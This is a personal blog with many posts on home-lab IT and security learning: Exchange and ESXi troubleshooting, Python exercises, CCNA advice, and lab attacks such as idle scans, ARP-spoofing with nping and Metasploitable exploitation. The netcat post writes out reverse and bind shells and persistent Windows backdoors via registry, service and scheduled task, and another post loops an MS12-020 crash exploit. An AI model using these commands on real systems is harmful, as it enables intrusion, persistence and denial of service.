Remember to Enable IPv6 With Exchange 2010

As the title says.  Remember to enable IPv6 when using Exchange 2010.

After powering on my Exchange 2010 servers after a power outage, I found that a few Exchange services wouldn't start on the Hub Transport/Client Access server.

After a few reboots and running some diagnostics.  I decided to build a backup server that I had.  I received the following error while installing Exchange 2010 SP2:

After doing some research I found that Exchange 2010 requires IPv6 to be enabled and that a IPv6 address (unique-local) must be assigned to interfaces on all servers.  After doing this, all of the services that failed to start on the original Hub Transport/Client Access server started without an issue.

Metasploiting Metasploitable

In my quest to become a IT Security professional I've been playing around with the purposely vulnerable Linux distribution Metasploitable 2.

Metasploitable 2 is produced by Rapid 7, the company behind Metasploit.  If you don't know already, Metasploit is a penetration testing framework that allows for development of exploits and execution of general penetration testing tasks.  Metasploitable 2 is designed with several vulnerabilities in order for one to learn how Metasploit and learn about penetration testing in general.

I decided to give exploiting the backdoor vulnerability in vsftpd 2.3.4 a try.

First I began with a nmap scan against the host to verify that it was running the vulnerable version of vsftpd.

I then setup Metasploit for exploitation of the vulnerability. 

The PAYLOAD command sets the payload to be sent to the target, in this case an interactive shell  that allows one to run commands on the target.  The RHOST command sets the IP address of the target host.

I then ran the exploit and got root on the box.

Metasploitable 2 and other distros like it make penetration testing accessible for those who don't get to do it for a living.   It also gives one the opportunity to learn how to use the various security tools without risk of getting into any trouble.

Anonymizing With Tor

While using the Internet, one may wish to anonymize their activities as much as possible.  Tor is a tool that allows for some anonymity.

In it's simplest form, tor is a tool that routes TCP traffic through a series of nodes while encrypting it so that the destination host cannot determine where the traffic originated.  The tor website has a much more technical description of it along with various tools and applications that allow you to use it.

Of course one can see how a tool like this can be useful for security enthusiasts for both good and bad.

tor creates a proxy server on the local host that allows all traffic pointed to the it to be routed through the tor network.  However, if an application cannot be configured to use a proxy, then a tool like tsocks can be used to direct the application's traffic through the tor proxy.

On a Debian based system tor and nmap can be installed by using the familar apt-get install tor tsocks

Once installed, all one has to do is edit the /etc/tsocks.conf file and change the server_port entry to specify tor's port 9050 as the server port and the server entry to 127.0.0.1.  tor itself should need no configuration at all.

To use applications through tor, either configuration the application to use a proxy at 127.0.0.1:9050 or if the application doesn't support proxy use, just run it by pre-pending tsocks to the command (i.e tsocks nmap scanme.nmap.org).  Keep in mind that tor only supports anonymizing of TCP traffic and not UDP and ICMP.

One popular usage of tor is to anonymize nmap scans.  You simply run nmap via tsocks as follows: tsocks nmap <host> -PN  .  The -PN argument is required so that nmap doesn't perform a ping scan which will reveal your IP address. 

I would provide examples, but I would have to change my network configuration in order to perform a pcap to show tor actually doing it's thing.

One caveat of tor is that it's quite slow do to the way it routes your traffic through three hops before it gets to the destination host.  A tool called tortunnel routes your traffic only through one exit node which will improve performance, but reduce anonyminity.

Learning Exchange 2010

Currently I am working with Exchange 2010 in my home lab.

I have set up a Exchange 2010 organization in the following manner using VMware ESXi 5.1:

The following are some notes on some issues I ran into with working through various lab exercises.

Configuring of routing between sites:
Set a persistant route on NYDC1 and NYDC2 to 10.1.1.0/24 via Teal so traffic could get back to CHIDC1.

Set a static route on wireless router to 10.1.1.0/24 via Teal (192.168.1.106) on the LAN interface so that NAT'd traffic to the internet would know where to be sent.

After removing persistant route from NYDC1 and NYDC2, replication to CHIDC1 stopped working. 

After running a packet capture on teal it was found that replication traffic was going out from CHIDC1 but not going back to it.  No traffic was going back to CHIDC1 at all from NYDC1 and NYDC2.  This caused issues with install Exchange 2010 SP2 on the mailbox server.

dcdiag reported replcation errors.  When replicated was forced via sites and services, a schema mismatch was found.  After waiting for 15 - 20 mins, the schema mismatch resolved itself and Exchange 2010 SP2 installation completed successfully.

What is strange is that there is a static route on my router that points to the network that CHIDC1 is in, so it should forward traffic to it, however it did not seem to work properly for NYDC1 and NYDC2.

Removing public folder database:
Tried the following and ran into permissions errors: http://technet.microsoft.com/en-us/library/bb201664.aspx

Ensured administrator to public folder management group and gave administrator AllExtendedRights on \non_ipm_subtree public folders.  Still wasn't able to remove system public folders.

Found that all mailbox databases were using public folders (get-mailboxdatabase | ft name, publicfolderdatabase).

Used ADSIedit to remove public folder configuration from mailbox databases and to delete the public folder database. (http://exchangeserverpro.com/remove-default-public-folder-database-exchange-mailbox-database)

Troubleshooting OWA not working:

Found that OWA wasn't accessible after upgrade to Exchange 2010 SP2.

Found that all Exchange services weren't started on mailbox and client access server.  Started/restarted all services.  Didn't fix issue.

Checked event logs and found that there was an error in the web.config file for the OWA IIS site.  Tried commenting out the line with the error and tried using the backup web.config file, neither fixed issue.

Checked in Exchange installation log and found that the Service Pack 2 installation hadn't completed successfully.  Re-installed service pack 2 on the client access/hub transport server and rebooted.  Fixed issue.

Later found that OWA access was timing out.  Believe that I restarted Microsoft Exchange RPC Client Access service to fix the issue.

Later found out that mail wasn't being sent within the organization.  Restarted Microsoft Exchange Information Store service to fix the issue.

I'm still working through the material so most likely there will be more to follow.

Idle Scanning With Nmap

As is it has become quite obvious, nmap is one for my favourite tools and I'm trying to learn as much about it is possible.

While reading through the nmap documentation I came across the technique known as idle scanning.

Idle scanning allows you to scan a target without sending any traffic to it.  This is done by using what's called a zombie host to bounce your traffic off of so that the traffic appears to come from the zombie host and not you.  The way it works is very clever and this page on the nmap site explains how it works in detail.

The main issue with a performing idle scans is to find a zombie host that is completely stagnant and increments it's IPID in the way that nmap requires for idle scans to work.  The following command utilizing one of nmap's scripting engine scripts will discover if a host supports the IPID feature in the way that nmap can use it for idle scanning;  nmap --script=ipidseq -v <host>.  If the Host script results returns all zeros, then the host cannot be used for idle scanning, if it returns incremental, it can be.

I set out to test idle scanning on my test network.  I tried using a Debian Linux VM as a zombie host but found that it's IPID sequence was all zeros.  I tried a Windows Server 2008 R2 VM with success.

Here are the results:

1) The IP address of the attacking machine:

 2) The IP address of the zombie host:

3) The IP address of the target host:

4) The scan being run and the results:

In order for the scan to work there needs to be a non-firewalled port on the zombie host that both the attacking and target host can connect.  The -Pn option is used to prevent a ping scan so that no ICMP traffic is sent to the target.  If ICMP traffic is sent it would reveal your IP address.

5) A Wireshark capture from the target host showing that the traffic is coming from the zombie host:

As you can see, idle scanning is a very useful technique.  It's main caveats are that it cannot really differentiate between closed a filtered ports, it can take significantly longer than a normal scan and it may be difficult to find a idle host to use as a zombie host.

Some More Python & Nmap

As an exercise, I decided to write a Python script that performed an Nmap scan on my home network and showed the difference between scans.

I found that Nmap has the option to output to XML format and that a style-sheet is included with Nmap to allow for easier viewing.

ndiff, which, comes with Nmap is used to show the differences between Nmap scans like the Unix/Linux diff command does with files.  It has the ability to output to XML format, but a style-sheet isn't included and Nmap's style-sheet doesn't format ndiff's XML output correctly.

yandiff is an improvement to ndiff that adds more functionality, including a XML style-sheet.

The script I wrote is a little rough, but it works in the following way;
1) Run nmap with the "-A" and "-PN" arguments against the specified network and output to XML format with the date timestamped in the file name.
2) Use yandiff to compare the current week's scan with the previous week's scan and output the result to XML format with the date timestamped in the file name.
3) Use xsltproc to convert the Nmap scan results and the yandiff results to HTML

I then scheduled a cron job to run the script weekly.

Update:
I wrote another version of the script that uses os.fork() and the os.exec*() family of functions.  I did this to make the script a little cleaner and also to learn about process management.  The results are the same as the previous script, just done a little differently.

I learned an interesting lesson on how global variables and forking to create new processes work.

The code can be found here.

Below are samples of the results:

Simple Powershell

I've been playing around with Powershell while working on the Microsoft Exchange 2007 certification.

I've been running into an issue with the Volume Shadow Copy (VSS) service not starting before my scheduled backup would run.  Thus the backup would fail.

I wrote a short Powershell script that is scheduled to run just before the backup is scheduled.  If the VSS service is not started, it starts it.

The code is below:

Get-Service | where { if ( $_.name -match "VSS" -and $_.status -ne "Running" ) { Start-Service VSS }  }

And a shot of the scheduled task:

Some More Python

As I work through the exercises from Core Python Programming 2e I'll post my solutions to some of the exercises that I find interesting.

Here's a wrapper for the Windows command-line interface that allows one to use the Unix/Linux ls, more, cat, cp, mv and rm commands to manipulate files in Windows:

import os
import string

class shell(object):
    def cmd(self):
        while 1:
            cmdLine = raw_input("$ ")
            if "ls" in cmdLine and len(cmdLine) == 2:
                os.system("dir")
            if "ls" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("dir" + path)
            if "more" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("more" + path)
            if "cat" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("type" + path)
            if "cp" in cmdLine[:cmdLine.find(" ")]:
                path1 = cmdLine[cmdLine.find(" "):cmdLine.rfind(" ")]
                path2 = cmdLine[cmdLine.rfind(" "):]
                os.system("copy" + path1 + path2)
            if "mv" in cmdLine[:cmdLine.find(" ")]:
                path1 = cmdLine[cmdLine.find(" "):cmdLine.rfind(" ")]
                path2 = cmdLine[cmdLine.rfind(" "):]
                os.system("ren" + path1 + path2)
            if "rm" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("del" + path)

Data Structures in Python

Currently I'm working on learning Python and have been working through various books.

A few of the exercises in the book Core Python Programming 2e ask the reader to implement data structures as classes, specifically stacks and queues.

For those who do not know what a data structure is, you can read about it here.  A stack is a Last-In-First-Out (LIFO) data structure and a queue is a First-In-First-Out (FIFO) data structure.

I chose to use Python's built in list functionality to implement the classes.  The solutions proved to be very simple as opposed to the same solutions being produced in a language like C.

Here is the code:

Stack

class stack(object):
    def __init__(self):
        self.stack = list()

    def push(self, item):
        self.stack.append(item)

    def pop(self):
        self.stack.pop(len(self.stack)-1)

    def isempty(self):
        if len(self.stack) == 0:
            return True
        else:
            return False
   
    #displays the last element of the stack
    def peek(self):
        return self.stack[len(self.stack)-1]

Queue

class queue(object):
    def __init__(self):
        self.queue = list()

    def enqueue(self, item):
        self.queue.append(item)

    def dequeue(self):
        return self.queue.pop(0)

    def isempty(self):
        if len(self.queue) == 0:
            return True
        else:
            return False

    #displays the first element of the queue
    def peek(self):
        return self.queue[0]

Hybrid Stack/Queue

class stackQueue(object):
    def __init__(self):
        self.stackQueue = list()

    def shift(self):
        return self.stackQueue.pop(0)

    def unshift(self, item):
        self.stackQueue.insert(0,item)

    def push(self, item):
        self.stackQueue.append(item)

    def pop(self):
        return self.stackQueue.pop(len(self.stackQueue)-1)

    def isempty(self):
        if len(self.stackQueue) == 0:
            return True
        else:
            return False

     #returns the first element of the data structure
    def peek(self):
        return self.stackQueue[0]

Fun With NetCat

NetCat is known as the TCP/IP Swiss-army knife.  It allows one to write data across a TCP or UDP connection.  It is available for most Unix/Linux operating systems as well as Windows.

Here are some fun things you can do with NetCat:

Execute shell on client connection:
nc –l –p 12345 –e /bin/bash (Unix/Linux)
nc –l –p 12345 –e cmd.exe (Windows)
nc –l –p 12345 –e cmd.exe -L - reopens connection after client closes connections (windows only)

Reverse shell:
nc -l -p 12345
nc <server ip> 12345 -e /bin/bash

Zero i/o mode(port scanning) (-z):
nc -z -v 192.168.1.1 1-65535

Redirect received info to file:
nc –l –p 12345 > dumpfile

Redirect input to file. When client connects, it will receive file:

nc –l –p 12345 < dumpfile
Client connects to server. dumpfile is transfer from server and outputted to client.
nc 192.168.1.1 12345 > dumpfile

Redirect ports and traffic (Relay):
nc –l –p 12345 | nc <hostname of target> 54321

Client connects to server on port 12345 but the target sees traffic coming from the server on
port 54321.

Configure backdoor to run everytime windows user logs in (domain priviledges):
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
“c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe”

Executing backdoor using a windows service(only local system shell):
sc create ncbackdoor binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe” start= auto error= ignore

net start ncbackdoor

Executing backdoor using windows task scheduler (only local system shell):
C:\>at 15:00:00 /every:m,t,w,th,f,s,su ““c:\nc.exe -d 192.168.1.70 1234 -e cmd.exe””

Unzip/un-tar file over network:
source:
dd if=some.file.tar.gz | nc <destination ip> 12345 -vvv

destination (tar must be run with the "-"):
nc -l -p 12345 -vv | tar xzf -

IP and Port Scanning From Windows Command-line

Ever need an IP or port scanner but didn't have one installed or the permission to install one?  Here's a quick trick I came up with using the little used built-in functions of the Windows Command-line:

for /L %A in (1,1,254) do ping -n 1 192.168.1.%A
FOR /L %A IN (1,1,254) DO FOR /L %B IN (1,1,1024) DO telnet 192.168.1.%A %B

Windows has a built-in for loop function and when used with the /L switch, it will act like a traditional counting for loop as in C and other program languages.

The code loops through values from 1 to 254, incrementing by 1 and pings 192.168.1.%A, where %A is the value of the loop variable.

The second line of code uses nested loops to telnet to IP addresses in the same range as above and port numbers from 1 to 1024 inclusive.  There is a hitch where if it connects it just hangs there, but you can only work with what you got.

Here's a sample run:

IP Scanner

Port Scanner

Finding And Deleting Locked Files With Process Explorer

We've all had the problem with trying to delete a file and then getting an error similar to the following:

Now in this example, Windows was kind of enough to tell me the name of the program that is locking the file.  But this is not always the case.

In certain circumstances you aren't told what the name of the program is.  This is when the Sysinternals tool known as Process Explorer comes in handy.

Process Explorer is essentially a "super" Task Manager that allows you to get a more in depth view into what is going-on on your system.

There is a feature in Process Explorer called Handle search that allows you to search for open handles.  Handles are similar to file descriptors in Unix/Linux.

To find a locked file with Process Explorer do the following:

1) Open Process Explorer, hit Ctrl+F and type in the name or partial name of the file you're looking to unlock/close:

2) Double-click the result.  You will then be taken to the following window.  Right-click the handle and select "Close Handle".  Take heed of the warning and acknowledge it if you choose to.  You should then be able to delete the file.

Firewalls And nmap

nmap is one of the most popular security tools.  Chances are you already know what nmap is and what it does so I'll spare the introduction.

As part of  my IT Security self-education, I set out to see how nmap interacts with firewalls.  I chose iptables/netfilter on Linux since it's free and there are a lot of GUI tools that allow one to setup and configure it quickly.

nmap has many options for performing port scans, one of them being IP spoofing.  IP spoofing is commonly used in Denial-of-Service attacks to modify the source IP address of the packets to hide where the traffic is coming from.  When used it port scanning, IP spoofing isn't very useful as the traffic will never return to you since the source IP isn't the same as your source IP.  However, if you're on a local network, the ARP entry for the spoofed source IP will have your MAC address associated with it, so you will get the return traffic.

In my test setup I used the following:

• Backtrack 5 R3 VM
• Ubuntu 12.04 VM with iptables and Firestarter GUI
• Debian 6 VM
• Wireshark
• nmap 6.01

I began by scanning with a version scan on port 22 of the Ubuntu VM.  iptables was disabled.

nmap connected and identified the service.  Below is a Wireshark capture of the session from the Ubuntu VM.  You can see the establishment of the connection and the tear-down.

Below is a Wireshark capture of a connection with the SSH client itself.  You can see the key exchange and connection establishment.

I then ran the same scan with both the firewall disabled and SSHd disabled.  Below is a Wireshark capture of the session.

Note that when the firewall is disabled and SSHd is disabled a TCP RST is sent back which states that the port is closed.  When repeating the same scan with the firewall enabled the following occurred:

nmap returns that the port is filtered, meaning that the firewall is silently dropping the packets.  The Wireshark capture shows that the Ubuntu VM is not returning any packets back to the scanning host.

I then configured a rule on the firewall to only allow SSH traffic from a specific IP.

After doing that I proceeded to use nmap to spoof the source IP address of the allowed host with the following results:

nmap was able to determine that the host was up and as you can see from the Wireshark captures, the spoofed traffic is reaching the Ubuntu VM and is being received by the scanning VM.  The reason the traffic is being received by the scanning VM is because the ARP entry for the spoofed IP is associated with the MAC address of the scanning VM as shown in the screen shots below.

 The real host associated with the IP

 The ARP cache of the Ubuntu VM 

 The real MAC address of the scanning VM 

nmap is a very powerful tool that usually isn't exploited to it's full potential.  If you're going to use nmap, at minimum read the man page.  If you want to get the most out of it check out the following resources:

• nmap Reference Guide
• nmap Network Scanning
• nmap Cookbook

ESXi Rebuild

While reviewing some material for the Microsoft Exchange 2007 70-236 exam, I rebooted one of my Exchange VMs and was greeted with a blue screen informing me that the registry was corrupted. 

After trying to boot into safe mode and then trying to boot with the last known good configuration option, I tried a system repair using the Windows Server 2008 disc.  I was able to repair one of the hives, however after rebooting I was hit with another blue screen stating that another hive was corrupted. 

After doing some research online, I found via Microsoft's Knowledge base that there might be an issue with the hard drive.  I then remembered that I'd seen some file system errors on some of my Linux VMs and after logging into a few of them, I noted that almost all of them had file systems errors and the file systems were mounted read-only.  I booted the ESXi server off of a Linux USB key and found that one of the hard drives had 50 bad sectors on it.  I tried running fsck from the ESXi command-line but it appeared to be only available if the host itself could not boot and was not available as a general command-line option. 

I figured that since the drive is bad, I might as well buy a new drive, take an image of the existing drive, and then write the image to the new drive.  I opted to use CloneZilla to take the image but ran into the issue with CloneZilla storing the image files locally on the bootable USB drive before copying them to their final destination (a SMB share I'd set up on my desktop). 

I figured that if I installed the new drive, did a clean install of ESXi 5 on it and then added the existing datastore from the old drive, I could just copy the VMs over and then get rid of the old datastore.  After completing the full install I went into the datastore browser and selected all of the VMs and moved them to the new datastore.  This was a mistake.  It caused the host to almost completely lock up to the point where I had to restart the management agents to regain control.  After doing that I was left with partially copied VMs.  When trying to move the vmdk files over to the new datastore ESXi told me that the files already existed there.  When logging in via SSH to verify, I found no trace of the files on second datastore, but it appeared that ESXi some how created a symbolic link between the source and destination during the move process.  I had to end up renaming the offending vmdk files and then pointing the disks in the VMs to the new renamed vmdk files.  I was able to move almost all VMs successfully. One wouldn't boot due to me selecting 'I moved it' instead of 'I copied it' when starting the VM and four others appeared to have been corrupted from the bad sectors. 

After migrating the VMs and verifying they all worked, I then applied the latest ESXi patch to the host.  Now prior to applying the patch I was able to unmount and mount the old datastore in order to verify that none of the VMs depended on any files on it.  However after the patch, I was unable to unmount or delete the datastore because during the patching process a diagnostic partition had been created on the old datastore.  When trying to delete the partition using ESXi command-line, I was unable to do so because it was in use.  Which leads to be believe that VMFS doesn't allow deletion of any files or resources that are in use.  I ended up shutting down the machine and physically disconnecting the drive.  After booting up, the datastore was gone (of course) and I then proceeded to add the previous drive to the new datastore regaining my 1.5TB datastore. 

Key take aways from this were:
1) Don't buy cheap hardware.
2) VMFS doesn't allow for deletion of files that are in use.
3) It is best to install the hypervisor on a seperate physical disk to make disaster recovery easier.

This was quite the ordeal, but also learning experience.

Nested Virtualization

One of my main goals of migrating from ESXi 3.5 to ESXi 5 was to be able to run 64-bit operating systems in virtual machines,  one of them being Windows Server 2008 R2, which would give me the ability to run Hyper-V.  Little did I know that there is an issue that somewhat prevents this.

As most know, Hyper-V is Microsoft's virtualization platform, the successor to Virtual Server.  It is not as robust as VMware even though Microsoft is gaining ground with the new version to be released with Windows Server 2012.  My main goal is to learn at least the basics of Hyper-V.

When I set out to install the Hyper-V role in my Windows Server 2008 R2 VM, I figured I'd be able to add the role and be done with it.  However, when I tried I was greeted with an error message stating that virtualization was not supported by the CPU.

After checking with HWINFO32 that the virtualization instruction set was detected inside the VM, I did some Googling to see if I could find the root cause of the error.  This is when I learned about nested virtualization.

Nested virtualization is essentially running a VM inside of another VM.  This isn't supported natively by VMware, but it can be done with a few hacks.  Here's what I did:

1) Added vhv.allow = "TRUE", which allows Virtualized Hardware Virtualization, to the /etc/vmware/config file on ESXi 5 host (host reboot is not required):

2) Added the following, which are CPUid bits, to the .vmx (/vmfs/volumes/(name of datastore/(name of VM) file for the VM:

3) Powered on the VM.
4) Nested VM!

The performance isn't the greatest.  But it works.

Thanks to the following sites for instructions:
http://thephuck.com/virtualization/installing-windows-server-8-hyper-v-3-in-esxi-5/
http://www.virtuallyghetto.com/2011/07/how-to-enable-support-for-nested-64bit.html

MS12-020 Exploit

I'm still relatively new to security and lately I've been trying out various exploits, one of them being the MS12-020 vulnerability in Remote Desktop.

The details of the vulnerability can be found here and the proof of concept code that can be used to exploit the vulnerability can be found here.

To test the proof-of-concept code I used a VM running Windows 7 Enterprise with no updates and a VM running Debian Linux 6 x64.

I wrote a short shell script to execute the exploit multiple times until the target machine crashed.

#!/bin/sh
while true;
do
        echo `nc <SERVER IP> 3389 < termdd_1.dat`
done

Running the exploit:

Crashing the box:

It's a "script kiddie" exploit.  But everyone has to start some where. :)

Man-In-The-Middle With nping

nmap is known as the world's best port-scanner.  However there are a few lesser known tools that are installed with nmap.  They are; ncat (an improved version of netcat), nping (a packet crafter), and ndiff (like *unix diff, but for nmap scans). 

This post will focus on simulating a LAN based Man-In-The-Middle (MITM) attack using nping.

A LAN based MITM attack exploits a well known security flaw in the Address Resolution Protocol, or ARP.  ARP is used to map a layer 3 IP address to a layer 2 MAC address so that hosts on the same network can transmit traffic to each other.

Unlike DNS, ARP accepts updates at any time and can't be configured to only accept secured updates.  This means that one can send a spoofed ARP packet mapping the IP address of another host to the MAC address of their own host, thus causing all communication intended for the other hosts IP to be sent to the spoofer's host. 

A MITM attack sends spoofed ARP packets to two different hosts with the other hosts IP, but with the attacker's MAC address.  For example:

Host A ------------------ Attacker ------------------ Host B
1.1.1.1                           MAC : X                        2.2.2.2
MAC : A                                                            MAC : B

Attacker sends a ARP packet to Host A with it's MAC address (X) and Host B's IP address (2.2.2.2).  Attacker also sends a ARP packet to Host B with it's MAC address and Host A's IP address.  This populates the ARP cache of each host with the IP address of each other, but the MAC address associated with the IP address is that of Attacker.  This allows all traffic sent between the two hosts to be pass through Attacker, hence the term "Man-in-the-middle".

MITM attacks allow the attacker to intercept or sniff the traffic between two hosts.  The security implications of this are obvious and is particularly dangerous on wireless networks.

nping is a tool that allows one to generate custom packets.  It allows one to specify the source IP address, destination IP address, source MAC, destination MAC and may other TCP/IP, Ethernet and UDP features.

I used nping in my ESXi environment to simulate a MITM attack.  This is how I did it:

Hosts:
Teal (Debian 6.0) - 10.0.0.2
blue (Debian 6.0) - 10.0.0.1 - attacker
DC-03 (Windows Server 2008 R2) - 10.0.0.3

These VMs were connected to a vswitch on a private network segmented from my home network.

1) Ran nping from blue against DC-03 and Teal specifying blue's MAC address as the source for ARPs for DC-03 and Teal respectively:

Command sent to TEAL:
nping --arp-type arp-reply --source-mac 00:0c:29:43:ec:da --source-ip 10.0.0.3 -c 9999 10.0.0.2

Command sent to DC-03:
nping --arp-type arp-reply --source-mac 00:0c:29:43:ec:da --source-ip 10.0.0.2 -c 9999 10.0.0.3

-c 9999 means run the command 9999 times.

Here`s what it looked like in action:
nping to Teal:

nping to DC-03:

 

Here the resulting ARP tables on each host:

 Teal :

 DC-03 :

I then ran ncat in listening mode on Teal to simulate a web server and then installed Apache.  I installed IIS 7 on DC-03.  I tested connecting from one host to the other while using tcpdump on blue to monitor the traffic.  The results are below:

Using Firefox on DC-03 to connect to Teal:

Using Lynx on Teal to connect to DC-03:

 

Using Telnet on DC-03 to connect to the ncat listener on Teal and then connecting using IE9 (odd results):

tcpdump on blue of the DC-03 to Teal session:

tcpdump on blue of the Teal to DC-03 session:

As you can see, I was able to monitor the traffic going between Teal and DC-03 on blue using tcpdump.

There are much better tools for performing LAN based MITM attacks (ettercap, Cain and Abel).  But utilizing packet crafters is a good way to get a underlying understanding of how things work.

ESXi 5 Build

In 2009 I was a victim of the recession like many people were.

During my time of unemployment I elected to pursue some IT certifications to enhance my skill set.  One of these was the Microsoft Certified IT Professional:  Enterprise Administration, or MCITP: EA for short.

I elected to go the self-study route and used the Microsoft Press Self-Study kit (link to amazon page).  At this point in time Windows Server 2008 R2 had just recently been released so the exam and study materials were based on Windows Server 2008.

I won’t go too in-depth to what the kit contained as that is not the focus of this post.  The important fact is that the kit contained lab exercises that required multiple servers and clients.

Microsoft suggests going the virtualization route by using Virtual PC or Virtual Server, both of which require and valid Windows license.  I elected to use VMware ESXi 3.5 as it is more prevalent in the market place now and it is free.

The original machine I used was a off-lease HP tower with a P4 3.4 Ghz processor, 4GB RAM and 700GB hard drive space.  ESXi 3.5 installed after purchasing a SATA controller card that was on the VMware Whitebox HCL (link to site).  The whole build cost me just under $300 Canadian.

Due to the fact that the P4 is a 32bit processor, I was unable to use ESXi 4 or use 64-bit VMs.

After almost two years of use, I saw the need to be able to run 64-bit VMs.   

After a bit of research I selected the components for a ESXi 5 white-box build.  VMware extended the HCL for ESXi 5 and I was able to build a box with the following components:

AMD Phenom II X6 2.6 GHz CPU

Asus M4A88T-M (AMD 880G chipset)

12GB DDR3 PC3-10666 RAM

1TB 7200 Hard drive

24x DVD-RW

The build and install went flawless.  The only issue I had was with an add-on Realtek 8139A NIC that is supposed to be supported.  When I connected to the host via SSH and ran lspci, it showed up, but ESXi was unable to see it.  So I am just running with the integrated NIC (Realtek 8138) for now.

I added a 500GB hard drive from the old ESXi 3.5 server and expanded the datastore to a total size of 1.5TB.

Instead of re-installing all of my VMs from scratch.  I used VMware Converter to move the VMs from the old host to the new one.  It’s sort of like VMotion, but the VMs have to be powered off, and it can’t be done on the fly.  But it’s much more efficient than transferring the files via SSH.

After verifying all VMs were working, I upgraded or installed VMware Tools on all the guests that I was currently using.  ESXi 5 has an in-place upgrade for older versions of VMware Tools.

I then proceeded to upgrade the ESXi server to the latest build.

After finding the VMware Infrastructure Update Client was no longer supported in ESXi 5, I proceeded to do a bit of Googling until I found some instructions on how to download and install the latest patches.

After going to VMware’s downloads section and selecting the patch, you have to download it locally to your machine since the version of wget that comes with ESXi 5 doesn’t support https.  After doing so you must scp it to the datastore on the ESXi host.  You then post the host in maintenance mode and run the following command:

esxcli software vib install --maintenance-mode  --depot /vmfs/volumes/datastore1/ESXi500-XXXXXXXXXXXX.zip

Replace the Xs with the patch number.

When in maintenance mode all VMs must be shutdown.

If the patch requires a reboot, it will tell you during the installation process.

First Solo Python Script

As a follow up to the last post, I've been learning Python from various books and have been soley following the exercises in the books themselves and not venturing out on my own until now.

I decided to try writing a simple script that installs nmap 6.01 from source on a Unix/Linux platform.  You can find it here.  The script was just an exercise to see if I could actually get it working.  I may make additions/modifications to it later on.

Learning Python

Over the past year or so I've been learning Python.  I have a Computer Science degree but strayed away from programming.  However, after developing an interest in IT Security I found that it is very beneficial to know how to at least read code let alone write it.

Python is very popular in the Security field and is gaining popularity in the Unix/Linux systems administration field to the point where it is directly competing with Perl.

I've been learning from the following books; Python Programming: An Introduction to Computer Science, Practical Programming: An Introduction to Computer Science Using Python, and Core Python Programming.

In terms of self-study.  If you have no background in programming or Computer Science I would recommend starting with Python Programming and moving on to Core Python.  If you have a programming/Computer Science background you can start with Core Python.

Python Programming teaches Computer Science using Python as the language.  Core Python assumes one already has programming experience.  Core Python focuses on the language and then applications using the language.

As for Practical Programming.  I found this title to be very poor for self-study and the authors seem to make many assumptions to the point where they just throw code at you without thorough explanation.

Cisco CCNA

I recently passed the ICND2 exam thus completing the Cisco Certified Network Associate (CCNA) certification.

I chose the two exam route since I am relatively new to networking and I wanted to be able to focus on each exam's topic separately.

It took about three months of preparation for the ICND1 exam and another six months for the ICND2 exam.  This is a relatively long time,  but I had other material I was working on and I wanted to make sure that I passed the exams.

As my goal is to obtain a position in IT security, a base knowledge of networking is required.  The CCNA is a recognized certification that will give you a base knowledge in routing ,switching, TCP/IP and UDP.  Be forewarned that it covers networking from a Cisco perspective, so the emphasis is on configuring Cisco devices and not networking in general.

A solid understanding of the OSI model, TCP/IP, and UDP is required for security professionals.  Good sources for this material are Wireshark Network Analysis, NMAP Network Scanning, and TCP/IP Guide.  All of these titles I plan on reading myself.

Below are the following resources that I used to prepare for the exam:

From Cisco Press :
CCNA 640-802 Official Cert Library 
CCNA Flash Cards and Exam Practice Pack  
31 Days Before Your CCNA Exam 
CCNA Portable Command Guide
CCNA 640-802 Network Simulator

Cisco Packet Tracer 5.3 (do a google search to find it and various labs)
CBT Nuggets CCNA 

The Official Certification library and the CCNA Flash Cards titles come with practice tests from Boson.  I found these tests to be actually harder than the actual exam.  This combined with the 200+ labs that came with the Network Simulator should be more than enough to pass the exams.  The other titles I used as insurance.

My advise for test takers is to read the books cover to cover and go through the practice material in the Appendices on the CDs.  Also learn how to subnet very quickly.  You should be able to subnet in 20 seconds or less.  Many of the problems on the exam require subnetting, even those that aren't specific to subnetting.  Keep doing the Boson exams until you can pass them consistently.  Finally, make sure you spend a significant amount of time doing labs.  Whether you build a physical lab or use the simulators.  There are questions that aren't simulator questions but ask you about various IOS commands.  So make sure you're familiar with them.

Hello World!

def main():
     print "Hello World!"

if __name__ == "__main__":
     main()

#include <stdio.h>
int main(void)
{
     printf("More content soon!");

     return 0;
}